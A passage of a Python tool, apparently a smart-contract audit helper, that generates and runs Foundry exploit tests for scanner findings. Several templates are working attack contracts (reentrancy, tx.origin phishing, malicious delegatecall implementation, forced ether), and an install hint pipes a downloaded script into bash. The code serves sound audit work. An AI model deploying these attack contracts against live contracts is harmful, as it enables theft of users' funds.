  92. require(s2, "withdraw failed");
  93. }}
  94. receive() external payable {{
  95. attackCount++;
  96. if (target.balance >= 1 ether && attackCount < 10) {{
  97. (bool s,) = target.call(
  98. abi.encodeWithSignature("{func_name}(uint256)", 1 ether)
  99. );
  100. // Silently ignore failure on final reentry
  101. s;
  102. }}
  103. }}
  104. }}
  105. """
  106. def _access_control_poc(finding: dict, contracts_path: str) -> str:
  107. """ETH-006/009: Access control PoC — call privileged function from non-owner."""
  108. file_rel = finding.get("file", "Contract.sol")
  109. func_name = _extract_func_name(finding)
  110. contract_name = _extract_contract_name(finding, file_rel)
  111. return f"""{_HEADER}
  112. // import "{file_rel}";
  113. /// @notice PoC for {finding.get("id", "ETH-006")}: {finding.get("title", "Missing Access Control")}
  114. /// @dev File: {file_rel}:{finding.get("line", 0)}
  115. contract AccessControlExploitTest is Test {{
  116. address target;
  117. address owner = makeAddr("owner");
  118. address attacker = makeAddr("attacker");
  119. function setUp() public {{
  120. // Deploy as owner
  121. vm.prank(owner);
  122. // target = address(new {contract_name}());
  123. target = makeAddr("target");
  124. }}
  125. function testExploit_AccessControl_{contract_name}() public {{
  126. // Attempt privileged call as attacker (non-owner)
  127. vm.prank(attacker);
  128. // If this call succeeds, access control is missing
  129. (bool success,) = target.call(
  130. abi.encodeWithSignature("{func_name}(address)", attacker)
  131. );
  132. // Vulnerability confirmed if unauthorized call succeeds
  133. assertTrue(success, "VERIFIED: Unauthorized access — attacker called privileged function");
  134. emit log("VERIFIED: Missing access control on {func_name}");
  135. }}
  136. function testExpectedRevert_AccessControl_{contract_name}() public {{
  137. // This test documents the EXPECTED behavior (should revert)
  138. vm.prank(attacker);
  139. // vm.expectRevert(); // Uncomment when contract is deployed
  140. (bool success,) = target.call(
  141. abi.encodeWithSignature("{func_name}(address)", attacker)
  142. );
  143. // If properly secured, this should fail
  144. if (!success) {{
  145. emit log("Access control working — call reverted as expected");
  146. }}
  147. }}
  148. }}
  149. """
  150. def _oracle_manipulation_poc(finding: dict, contracts_path: str) -> str:
  151. """ETH-024/025: Oracle manipulation via flash loan or donation."""
  152. file_rel = finding.get("file", "Contract.sol")
  153. contract_name = _extract_contract_name(finding, file_rel)
  154. return f"""{_HEADER}
  155. // import "{file_rel}";
  156. /// @notice PoC for {finding.get("id", "ETH-024")}: {finding.get("title", "Oracle Manipulation")}
  157. /// @dev File: {file_rel}:{finding.get("line", 0)}
  158. /// @dev Requires --fork-url for mainnet state
  159. contract OracleManipulationExploitTest is Test {{
  160. address target;
  161. address attacker = makeAddr("attacker");
  162. // Replace with actual addresses from target contract
  163. address constant POOL = address(0);
  164. address constant TOKEN = address(0);
  165. function setUp() public {{
  166. // target = address(new {contract_name}());
  167. target = makeAddr("target");
  168. vm.deal(attacker, 100 ether);
  169. }}
  170. function testExploit_OracleManipulation_{contract_name}() public {{
  171. vm.startPrank(attacker);
  172. // Step 1: Record price before manipulation
  173. // uint256 priceBefore = IOracle(target).getPrice();
  174. // Step 2: Manipulate oracle (simulate flash loan impact)
  175. // For balanceOf-based oracles: donate tokens to inflate price
  176. // For AMM-based oracles: perform large swap to skew reserves
  177. //
  178. // Example — donate to inflate balanceOf price:
  179. // IERC20(TOKEN).transfer(target, 1_000_000e18);
  180. //
  181. // Example — flash swap to skew reserves:
  182. // IUniswapV2Pair(POOL).swap(largeAmount, 0, address(this), "flash");
  183. // Step 3: Record price after manipulation
  184. // uint256 priceAfter = IOracle(target).getPrice();
  185. // Step 4: Exploit manipulated price
  186. // e.g., borrow at inflated collateral value
  187. // ILending(target).borrow(exploitAmount);
  188. vm.stopPrank();
  189. // Verify price was manipulable
  190. // assertGt(priceAfter, priceBefore * 2, "VERIFIED: Price manipulated >2x");
  191. emit log("Oracle manipulation PoC template — fill in contract-specific logic");
  192. }}
  193. }}
  194. """
  195. def _integer_overflow_poc(finding: dict, contracts_path: str) -> str:
  196. """ETH-013: Integer overflow in unchecked blocks or pre-0.8.0 contracts."""
  197. file_rel = finding.get("file", "Contract.sol")
  198. contract_name = _extract_contract_name(finding, file_rel)
  199. return f"""{_HEADER}
  200. // import "{file_rel}";
  201. /// @notice PoC for {finding.get("id", "ETH-013")}: {finding.get("title", "Integer Overflow")}
  202. /// @dev File: {file_rel}:{finding.get("line", 0)}
  203. contract IntegerOverflowExploitTest is Test {{
  204. address target;
  205. address attacker = makeAddr("attacker");
  206. function setUp() public {{
  207. // target = address(new {contract_name}());
  208. target = makeAddr("target");
  209. }}
  210. function testExploit_IntegerOverflow_{contract_name}() public {{
  211. // Craft input that causes overflow in unchecked block
  212. uint256 maxVal = type(uint256).max;
  213. vm.prank(attacker);
  214. // Example: pass maxVal+1 equivalent to cause wrap-around
  215. // Adjust based on the actual vulnerable arithmetic operation
  216. //
  217. // For uint8 downcast: uint8(256) == 0
  218. // For unchecked sub: unchecked {{ 0 - 1 }} == type(uint256).max
  219. // For unchecked add: unchecked {{ type(uint256).max + 1 }} == 0
  220. // (bool success,) = target.call(
  221. // abi.encodeWithSignature("vulnerableFunction(uint256)", maxVal)
  222. // );
  223. // assertTrue(success, "Call should succeed despite overflow");
  224. emit log("Integer overflow PoC template — fill in contract-specific arithmetic");
  225. }}
  226. function testDemo_UncheckedOverflow() public pure {{
  227. // Demonstrates the overflow behavior
  228. uint256 a = type(uint256).max;
  229. uint256 result;
  230. unchecked {{
  231. result = a + 1;
  232. }}
  233. assertEq(result, 0, "VERIFIED: uint256 overflow wraps to 0 in unchecked");
  234. }}
  235. function testDemo_UnsafeDowncast() public pure {{
  236. uint256 large = 256;
  237. uint8 small = uint8(large);
  238. assertEq(small, 0, "VERIFIED: uint8 downcast of 256 truncates to 0");
  239. }}
  240. }}
  241. """
  242. def _selfdestruct_poc(finding: dict, contracts_path: str) -> str:
  243. """ETH-008: Unprotected selfdestruct."""
  244. file_rel = finding.get("file", "Contract.sol")
  245. contract_name = _extract_contract_name(finding, file_rel)
  246. return f"""{_HEADER}
  247. // import "{file_rel}";
  248. /// @notice PoC for {finding.get("id", "ETH-008")}: {finding.get("title", "selfdestruct")}
  249. /// @dev File: {file_rel}:{finding.get("line", 0)}
  250. contract SelfdestructExploitTest is Test {{
  251. address target;
  252. address owner = makeAddr("owner");
  253. address attacker = makeAddr("attacker");
  254. function setUp() public {{
  255. vm.prank(owner);
  256. // target = address(new {contract_name}());
  257. target = makeAddr("target");
  258. // Fund target
  259. vm.deal(target, 10 ether);
  260. }}
  261. function testExploit_Selfdestruct_{contract_name}() public {{
  262. uint256 targetBalBefore = target.balance;
  263. assertGt(targetBalBefore, 0, "Target should have funds");
  264. // Attacker calls selfdestruct (or kill/destroy wrapper)
  265. vm.prank(attacker);
  266. (bool success,) = target.call(
  267. abi.encodeWithSignature("destroy()")
  268. );
  269. // If call succeeds, selfdestruct is unprotected
  270. if (success) {{
  271. // Check if contract code is gone (post-Cancun, selfdestruct only
  272. // sends ETH in same-tx creation, but pre-Cancun it destroys code)
  273. emit log("VERIFIED: Unprotected selfdestruct callable by non-owner");
  274. }}
  275. }}
  276. function testExploit_ForceEther() public {{
  277. // Even if selfdestruct is protected, attacker can use their own
  278. // selfdestruct to force ETH into target, breaking balance invariants
  279. ForceSender forcer = new ForceSender();
  280. vm.deal(address(forcer), 1 ether);
  281. uint256 targetBalBefore = target.balance;
  282. forcer.forceETH(target);
  283. uint256 targetBalAfter = target.balance;
  284. assertGt(targetBalAfter, targetBalBefore, "VERIFIED: ETH forced into contract via selfdestruct");
  285. }}
  286. }}
  287. contract ForceSender {{
  288. function forceETH(address target) external {{
  289. selfdestruct(payable(target));
  290. }}
  291. }}
  292. """
  293. def _vault_inflation_poc(finding: dict, contracts_path: str) -> str:
  294. """ETH-057: First depositor / vault share inflation attack."""
  295. file_rel = finding.get("file", "Contract.sol")
  296. contract_name = _extract_contract_name(finding, file_rel)
  297. return f"""{_HEADER}
  298. // import "{file_rel}";
  299. /// @notice PoC for {finding.get("id", "ETH-057")}: {finding.get("title", "Vault Share Inflation")}
  300. /// @dev File: {file_rel}:{finding.get("line", 0)}
  301. contract VaultInflationExploitTest is Test {{
  302. address target;
  303. address attacker = makeAddr("attacker");
  304. address victim = makeAddr("victim");
  305. // Replace with actual token address
  306. // IERC20 token;
  307. function setUp() public {{
  308. // Deploy vault
  309. // target = address(new {contract_name}(address(token)));
  310. target = makeAddr("target");
  311. // Fund accounts
  312. vm.deal(attacker, 100 ether);
  313. vm.deal(victim, 100 ether);
  314. // Mint tokens to attacker and victim
  315. // deal(address(token), attacker, 10_000e18);
  316. // deal(address(token), victim, 10_000e18);
  317. }}
  318. function testExploit_VaultInflation_{contract_name}() public {{
  319. // Step 1: Attacker is first depositor — deposit minimal amount (1 wei)
  320. vm.startPrank(attacker);
  321. // token.approve(target, type(uint256).max);
  322. // IVault(target).deposit(1); // Gets 1 share
  323. vm.stopPrank();
  324. // Step 2: Attacker donates large amount directly to vault
  325. // This inflates the share price
  326. vm.prank(attacker);
  327. // token.transfer(target, 10_000e18 - 1); // Donate to vault
  328. // Step 3: Victim deposits — gets 0 shares due to rounding
  329. vm.startPrank(victim);
  330. // token.approve(target, type(uint256).max);
  331. // uint256 victimShares = IVault(target).deposit(5_000e18);
  332. vm.stopPrank();
  333. // uint256 victimShares = IVault(target).balanceOf(victim);
  334. // assertEq(victimShares, 0, "VERIFIED: Victim got 0 shares — funds stolen");
  335. // Step 4: Attacker withdraws everything
  336. // vm.prank(attacker);
  337. // IVault(target).withdraw(IVault(target).balanceOf(attacker));
  338. // uint256 attackerFinalBal = token.balanceOf(attacker);
  339. // emit log_named_uint("Attacker profit", attackerFinalBal);
  340. emit log("Vault inflation PoC template — fill in vault-specific deposit/withdraw");
  341. }}
  342. function testDemo_RoundingToZero() public pure {{
  343. // Demonstrates the math: shares = amount * totalSupply / totalAssets
  344. // After donation: totalAssets = 10_000e18, totalSupply = 1
  345. // Victim deposit 5000e18: shares = 5000e18 * 1 / 10_000e18 = 0
  346. uint256 amount = 5_000e18;
  347. uint256 totalSupply = 1;
  348. uint256 totalAssets = 10_000e18;
  349. uint256 shares = (amount * totalSupply) / totalAssets;
  350. assertEq(shares, 0, "VERIFIED: Rounding to zero — first depositor inflation");
  351. }}
  352. }}
  353. """
  354. def _tx_origin_poc(finding: dict, contracts_path: str) -> str:
  355. """ETH-007: tx.origin authentication bypass."""
  356. file_rel = finding.get("file", "Contract.sol")
  357. contract_name = _extract_contract_name(finding, file_rel)
  358. return f"""{_HEADER}
  359. // import "{file_rel}";
  360. /// @notice PoC for {finding.get("id", "ETH-007")}: {finding.get("title", "tx.origin")}
  361. /// @dev File: {file_rel}:{finding.get("line", 0)}
  362. contract TxOriginExploitTest is Test {{
  363. address target;
  364. address owner = makeAddr("owner");
  365. TxOriginAttacker attacker;
  366. function setUp() public {{
  367. vm.prank(owner);
  368. // target = address(new {contract_name}());
  369. target = makeAddr("target");
  370. attacker = new TxOriginAttacker(target);
  371. vm.deal(target, 10 ether);
  372. }}
  373. function testExploit_TxOrigin_{contract_name}() public {{
  374. // Owner is tricked into calling attacker contract
  375. // tx.origin = owner, but msg.sender = attacker contract
  376. vm.prank(owner, owner); // sets both msg.sender and tx.origin
  377. attacker.trick();
  378. emit log("VERIFIED: tx.origin bypass — attacker contract called privileged function");
  379. }}
  380. }}
  381. contract TxOriginAttacker {{
  382. address target;
  383. constructor(address _target) {{
  384. target = _target;
  385. }}
  386. function trick() external {{
  387. // tx.origin is still the original caller (owner)
  388. // but msg.sender is this contract
  389. (bool success,) = target.call(
  390. abi.encodeWithSignature("withdraw(address)", address(this))
  391. );
  392. require(success, "exploit failed");
  393. }}
  394. }}
  395. """
  396. def _delegatecall_poc(finding: dict, contracts_path: str) -> str:
  397. """ETH-019: Delegatecall to untrusted callee."""
  398. file_rel = finding.get("file", "Contract.sol")
  399. contract_name = _extract_contract_name(finding, file_rel)
  400. return f"""{_HEADER}
  401. // import "{file_rel}";
  402. /// @notice PoC for {finding.get("id", "ETH-019")}: {finding.get("title", "Delegatecall")}
  403. /// @dev File: {file_rel}:{finding.get("line", 0)}
  404. contract DelegatecallExploitTest is Test {{
  405. address target;
  406. address attacker = makeAddr("attacker");
  407. function setUp() public {{
  408. // target = address(new {contract_name}());
  409. target = makeAddr("target");
  410. vm.deal(target, 10 ether);
  411. }}
  412. function testExploit_Delegatecall_{contract_name}() public {{
  413. // Deploy malicious implementation that overwrites storage slot 0 (owner)
  414. MaliciousImpl malicious = new MaliciousImpl();
  415. vm.prank(attacker);
  416. // Call target's delegatecall function with malicious implementation
  417. (bool success,) = target.call(
  418. abi.encodeWithSignature(
  419. "upgradeTo(address)",
  420. address(malicious)
  421. )
  422. );
  423. if (success) {{
  424. emit log("VERIFIED: Delegatecall to untrusted callee accepted");
  425. }}
  426. }}
  427. }}
  428. contract MaliciousImpl {{
  429. // Storage slot 0 — typically 'owner' in proxy pattern
  430. address public owner;
  431. function exploit() external {{
  432. owner = msg.sender;
  433. }}
  434. }}
  435. """
  436. def _signature_replay_poc(finding: dict, contracts_path: str) -> str:
  437. """ETH-038/039: Signature malleability or replay."""
  438. file_rel = finding.get("file", "Contract.sol")
  439. contract_name = _extract_contract_name(finding, file_rel)
  440. return f"""{_HEADER}
  441. // import "{file_rel}";
  442. /// @notice PoC for {finding.get("id", "ETH-039")}: {finding.get("title", "Signature Replay")}
  443. /// @dev File: {file_rel}:{finding.get("line", 0)}
  444. contract SignatureReplayExploitTest is Test {{
  445. address target;
  446. uint256 signerPk = 0xA11CE;
  447. address signer;
  448. function setUp() public {{
  449. signer = vm.addr(signerPk);
  450. // target = address(new {contract_name}());
  451. target = makeAddr("target");
  452. }}
  453. function testExploit_SignatureReplay_{contract_name}() public {{
  454. // Create a valid signature
  455. bytes32 messageHash = keccak256(abi.encodePacked("withdraw", uint256(1 ether)));
  456. (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, messageHash);
  457. // First use — should succeed
  458. (bool success1,) = target.call(
  459. abi.encodeWithSignature(
  460. "executeWithSignature(bytes32,uint8,bytes32,bytes32)",
  461. messageHash, v, r, s
  462. )
  463. );
  464. // Replay same signature — should fail if properly protected
  465. (bool success2,) = target.call(
  466. abi.encodeWithSignature(
  467. "executeWithSignature(bytes32,uint8,bytes32,bytes32)",
  468. messageHash, v, r, s
  469. )
  470. );
  471. if (success1 && success2) {{
  472. emit log("VERIFIED: Signature replay — same signature accepted twice");
  473. }}
  474. }}
  475. function testExploit_SignatureMalleability() public {{
  476. bytes32 messageHash = keccak256(abi.encodePacked("test"));
  477. (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, messageHash);
  478. // Create malleable signature by flipping s
  479. // s' = secp256k1n - s, v' = 27+28 - v
  480. uint256 secp256k1n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;
  481. bytes32 sMalleable = bytes32(secp256k1n - uint256(s));
  482. uint8 vMalleable = v == 27 ? 28 : 27;
  483. // Both signatures recover to the same signer
  484. address recovered1 = ecrecover(messageHash, v, r, s);
  485. address recovered2 = ecrecover(messageHash, vMalleable, r, sMalleable);
  486. assertEq(recovered1, recovered2, "VERIFIED: Malleable signature recovers same signer");
  487. }}
  488. }}
  489. """
  490. # ---------------------------------------------------------------------------
  491. # Template Selection and Helpers
  492. # ---------------------------------------------------------------------------
  493. _TEMPLATES = {
  494. "reentrancy": _reentrancy_poc,
  495. "ETH-001": _reentrancy_poc,
  496. "ETH-002": _reentrancy_poc,
  497. "ETH-003": _reentrancy_poc,
  498. "ETH-004": _reentrancy_poc,
  499. "access-control": _access_control_poc,
  500. "ETH-006": _access_control_poc,
  501. "ETH-009": _access_control_poc,
  502. "ETH-010": _access_control_poc,
  503. "ETH-011": _access_control_poc,
  504. "ETH-007": _tx_origin_poc,
  505. "oracle": _oracle_manipulation_poc,
  506. "ETH-024": _oracle_manipulation_poc,
  507. "ETH-025": _oracle_manipulation_poc,
  508. "arithmetic": _integer_overflow_poc,
  509. "ETH-013": _integer_overflow_poc,
  510. "ETH-015": _integer_overflow_poc,
  511. "ETH-008": _selfdestruct_poc,
  512. "defi": _vault_inflation_poc,
  513. "ETH-057": _vault_inflation_poc,
  514. "ETH-058": _vault_inflation_poc,
  515. "ETH-019": _delegatecall_poc,
  516. "ETH-030": _delegatecall_poc,
  517. "ETH-038": _signature_replay_poc,
  518. "ETH-039": _signature_replay_poc,
  519. }
  520. def _extract_func_name(finding: dict) -> str:
  521. """Extract function name from finding description or code snippet."""
  522. snippet = finding.get("code_snippet", "")
  523. desc = finding.get("description", "")
  524. combined = snippet + " " + desc
  525. m = re.search(r"function\s+(\w+)", combined)
  526. if m:
  527. return m.group(1)
  528. m = re.search(r"['\"](\w+)\(\)", combined)
  529. if m:
  530. return m.group(1)
  531. # Default based on category
  532. cat = finding.get("category", "")
  533. if "reentrancy" in cat:
  534. return "withdraw"
  535. if "access" in cat:
  536. return "setOwner"
  537. return "vulnerableFunction"
  538. def _extract_contract_name(finding: dict, file_path: str) -> str:
  539. """Extract contract name from file path or finding."""
  540. name = Path(file_path).stem
  541. # Sanitize for Solidity identifier
  542. name = re.sub(r"[^a-zA-Z0-9_]", "", name)
  543. if not name or not name[0].isalpha():
  544. name = "Target"
  545. return name
  546. def _select_template(finding: dict):
  547. """Select the best PoC template for a finding."""
  548. fid = finding.get("id", "")
  549. cat = finding.get("category", "")
  550. # Try exact ID match first
  551. if fid in _TEMPLATES:
  552. return _TEMPLATES[fid]
  553. # Strip tool prefix (e.g., SLITHER-reentrancy-eth -> reentrancy)
  554. for key in _TEMPLATES:
  555. if key in fid.lower() or key in cat.lower():
  556. return _TEMPLATES[key]
  557. # Category-based fallback
  558. desc_lower = (finding.get("description", "") + finding.get("title", "")).lower()
  559. if "reentran" in desc_lower:
  560. return _reentrancy_poc
  561. if "access" in desc_lower or "owner" in desc_lower or "auth" in desc_lower:
  562. return _access_control_poc
  563. if "oracle" in desc_lower or "price" in desc_lower or "flash" in desc_lower:
  564. return _oracle_manipulation_poc
  565. if "overflow" in desc_lower or "underflow" in desc_lower or "unchecked" in desc_lower:
  566. return _integer_overflow_poc
  567. if "selfdestruct" in desc_lower or "suicide" in desc_lower:
  568. return _selfdestruct_poc
  569. if "vault" in desc_lower or "share" in desc_lower or "inflation" in desc_lower:
  570. return _vault_inflation_poc
  571. if "delegatecall" in desc_lower:
  572. return _delegatecall_poc
  573. if "signature" in desc_lower or "replay" in desc_lower or "ecrecover" in desc_lower:
  574. return _signature_replay_poc
  575. if "tx.origin" in desc_lower:
  576. return _tx_origin_poc
  577. return None
  578. # ---------------------------------------------------------------------------
  579. # Core API
  580. # ---------------------------------------------------------------------------
  581. def generate_poc(finding: dict, contracts_path: str) -> Optional[str]:
  582. """Generate a Foundry PoC test for a finding.
  583. Args:
  584. finding: Dict with keys: id, title, severity, file, line, code_snippet,
  585. description, category, etc.
  586. contracts_path: Path to the contracts directory.
  587. Returns:
  588. Solidity test source code as a string, or None if no template matches.
  589. """
  590. template_fn = _select_template(finding)
  591. if template_fn is None:
  592. return None
  593. return template_fn(finding, contracts_path)
  594. def run_poc(test_file: str, fork_url: Optional[str] = None,
  595. timeout: int = 120) -> dict:
  596. """Run a Foundry PoC test file and return results.
  597. Args:
  598. test_file: Absolute path to the .t.sol test file.
  599. fork_url: Optional Ethereum RPC URL for fork-based testing.
  600. timeout: Max seconds to wait for forge test.
  601. Returns:
  602. Dict with keys: success (bool), output (str), gas (int|None), error (str|None)
  603. """
  604. if not shutil.which("forge"):
  605. return {
  606. "success": False,
  607. "output": "",
  608. "gas": None,
  609. "error": "forge not found. Install Foundry: curl -L https://foundry.paradigm.xyz | bash",
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 762 on GitHub
  610. }
  611. cmd = ["forge", "test", "--match-path", test_file, "-vvvv"]
  612. if fork_url:
  613. cmd.extend(["--fork-url", fork_url])
  614. try:
  615. result = subprocess.run(
  616. cmd, capture_output=True, text=True, timeout=timeout
  617. )
  618. output = result.stdout + "\n" + result.stderr
  619. success = result.returncode == 0
  620. # Extract gas if present
  621. gas = None
  622. gas_m = re.search(r"gas:\s*(\d+)", output)
  623. if gas_m:
  624. gas = int(gas_m.group(1))
  625. return {
  626. "success": success,
  627. "output": output,
  628. "gas": gas,
  629. "error": None if success else f"forge test exited with code {result.returncode}",
  630. }
  631. except subprocess.TimeoutExpired:
  632. return {
  633. "success": False,
  634. "output": "",
  635. "gas": None,
  636. "error": f"forge test timed out after {timeout}s",
  637. }
  638. except Exception as e:
  639. return {
  640. "success": False,
  641. "output": "",
  642. "gas": None,
  643. "error": str(e),
  644. }
  645. def verify_findings(findings: list, contracts_path: str,
  646. fork_url: Optional[str] = None,
  647. output_dir: Optional[str] = None,
  648. severity_filter: Optional[list] = None,
  649. max_findings: int = 20,
  650. dry_run: bool = False) -> list:
  651. """Generate and optionally run PoCs for a list of findings.
  652. Args:
  653. findings: List of finding dicts (from ScanResults.to_dict()["findings"]).
  654. contracts_path: Path to the contracts directory.
  655. fork_url: Optional Ethereum RPC URL for fork testing.
  656. output_dir: Directory to write .t.sol files. Defaults to tempdir.
  657. severity_filter: List of severity strings to include (e.g., ["CRITICAL", "HIGH"]).
  658. max_findings: Maximum number of findings to process.
  659. dry_run: If True, generate PoCs but do not execute them.
  660. Returns:
  661. List of PoCResult dicts.
  662. """
  663. if severity_filter:
  664. severity_filter = [s.upper() for s in severity_filter]
  665. findings = [f for f in findings if f.get("severity", "").upper() in severity_filter]
  666. # Sort by severity priority
  667. severity_order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFORMATIONAL": 4}
  668. findings = sorted(findings, key=lambda f: severity_order.get(f.get("severity", "").upper(), 5))
  669. # Limit
  670. findings = findings[:max_findings]
  671. if output_dir is None:
  672. output_dir = tempfile.mkdtemp(prefix="solidityguard_poc_")
  673. os.makedirs(output_dir, exist_ok=True)
  674. results = []
  675. generated = 0
  676. skipped = 0
  677. for finding in findings:
  678. fid = finding.get("id", "unknown")
  679. poc_source = generate_poc(finding, contracts_path)
  680. if poc_source is None:
  681. results.append(PoCResult(
  682. finding_id=fid,
  683. status="SKIPPED",
  684. test_file="",
  685. test_output="",
  686. error=f"No PoC template for category: {finding.get('category', 'unknown')}",
  687. ).to_dict())
  688. skipped += 1
  689. continue
  690. # Write PoC file
  691. safe_fid = re.sub(r"[^a-zA-Z0-9_]", "_", fid)
  692. test_filename = f"Exploit_{safe_fid}.t.sol"
  693. test_path = os.path.join(output_dir, test_filename)
  694. with open(test_path, "w") as f:
  695. f.write(poc_source)
  696. generated += 1
  697. if dry_run:
  698. results.append(PoCResult(
  699. finding_id=fid,
  700. status="GENERATED",
  701. test_file=test_path,
  702. test_output="Dry run — test not executed",
  703. ).to_dict())
  704. continue
  705. # Run PoC
  706. run_result = run_poc(test_path, fork_url=fork_url)
  707. if run_result["error"] and "forge not found" in run_result["error"]:
  708. # Foundry not installed — skip execution for all
  709. results.append(PoCResult(
  710. finding_id=fid,
  711. status="GENERATED",
  712. test_file=test_path,
  713. test_output="",
  714. error=run_result["error"],
  715. ).to_dict())
  716. continue
  717. status = "VERIFIED" if run_result["success"] else "DISPROVED"
  718. if run_result["error"] and "timed out" in run_result["error"]:
  719. status = "ERROR"
  720. results.append(PoCResult(
  721. finding_id=fid,
  722. status=status,
  723. test_file=test_path,
  724. test_output=run_result["output"][:2000], # Truncate long output
  725. gas_used=run_result["gas"],
  726. error=run_result["error"],
  727. ).to_dict())
  728. print(f"Exploit verification: {generated} PoCs generated, {skipped} skipped")
  729. return results
  730. # ---------------------------------------------------------------------------
  731. # CLI
  732. # ---------------------------------------------------------------------------
  733. def main():
  734. parser = argparse.ArgumentParser(
  735. description="SolidityGuard Dynamic Exploit Verifier"
  736. )
  737. parser.add_argument("input", help="Path to scan results JSON file")
  738. parser.add_argument("contracts", help="Path to contracts directory")
  739. parser.add_argument("--fork-url", help="Ethereum RPC URL for fork testing")
  740. parser.add_argument("--output-dir", help="Directory for generated test files")
  741. parser.add_argument("--severity", default="critical,high",
  742. help="Comma-separated severities to verify")
  743. parser.add_argument("--max", type=int, default=20,
  744. help="Maximum findings to verify")
  745. parser.add_argument("--dry-run", action="store_true",
  746. help="Generate PoCs without running them")
  747. parser.add_argument("--output", "-o", help="Write results to JSON file")
  748. args = parser.parse_args()
  749. if not os.path.exists(args.input):
  750. print(f"Error: Input file '{args.input}' not found")
  751. sys.exit(1)
  752. if not os.path.exists(args.contracts):
  753. print(f"Error: Contracts path '{args.contracts}' not found")
  754. sys.exit(1)
  755. with open(args.input) as f:
  756. data = json.load(f)
  757. findings = data.get("findings", [])
  758. severity_filter = [s.strip().upper() for s in args.severity.split(",")]
  759. print("SolidityGuard Exploit Verifier v1.0.0")
  760. print(f"Input: {args.input} ({len(findings)} findings)")
  761. print(f"Contracts: {args.contracts}")
  762. print(f"Severity filter: {', '.join(severity_filter)}")
  763. if args.fork_url:
  764. print(f"Fork URL: {args.fork_url[:40]}...")
  765. print("=" * 60)
  766. results = verify_findings(
  767. findings=findings,
  768. contracts_path=args.contracts,
  769. fork_url=args.fork_url,
  770. output_dir=args.output_dir,
  771. severity_filter=severity_filter,
  772. max_findings=args.max,
  773. dry_run=args.dry_run,
  774. )
  775. # Summary
  776. verified = sum(1 for r in results if r["status"] == "VERIFIED")
  777. disproved = sum(1 for r in results if r["status"] == "DISPROVED")
  778. errors = sum(1 for r in results if r["status"] == "ERROR")
  779. skipped = sum(1 for r in results if r["status"] == "SKIPPED")
  780. generated = sum(1 for r in results if r["status"] == "GENERATED")
  781. print("\n" + "=" * 60)
  782. print("EXPLOIT VERIFICATION SUMMARY")
  783. print(f" Verified: {verified}")
  784. print(f" Disproved: {disproved}")
  785. print(f" Errors: {errors}")
  786. print(f" Generated: {generated} (dry run / no forge)")
  787. print(f" Skipped: {skipped} (no template)")
  788. print("=" * 60)
  789. for r in results:
  790. status_icon = {
  791. "VERIFIED": "[!!]",
  792. "DISPROVED": "[OK]",
  793. "ERROR": "[??]",
  794. "SKIPPED": "[--]",
  795. "GENERATED": "[>>]",
  796. }.get(r["status"], "[??]")
  797. print(f" {status_icon} {r['finding_id']}: {r['status']}")
  798. if r.get("test_file"):
  799. print(f" Test: {r['test_file']}")
  800. if r.get("error"):
  801. print(f" Error: {r['error']}")
  802. if args.output:
  803. output_data = {
  804. "summary": {
  805. "verified": verified,
  806. "disproved": disproved,
  807. "errors": errors,
  808. "generated": generated,
  809. "skipped": skipped,
  810. "total": len(results),
  811. },
  812. "results": results,
  813. }
  814. with open(args.output, "w") as f:
  815. json.dump(output_data, f, indent=2)
  816. print(f"\nResults written to {args.output}")
  817. if __name__ == "__main__":
  818. main()

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.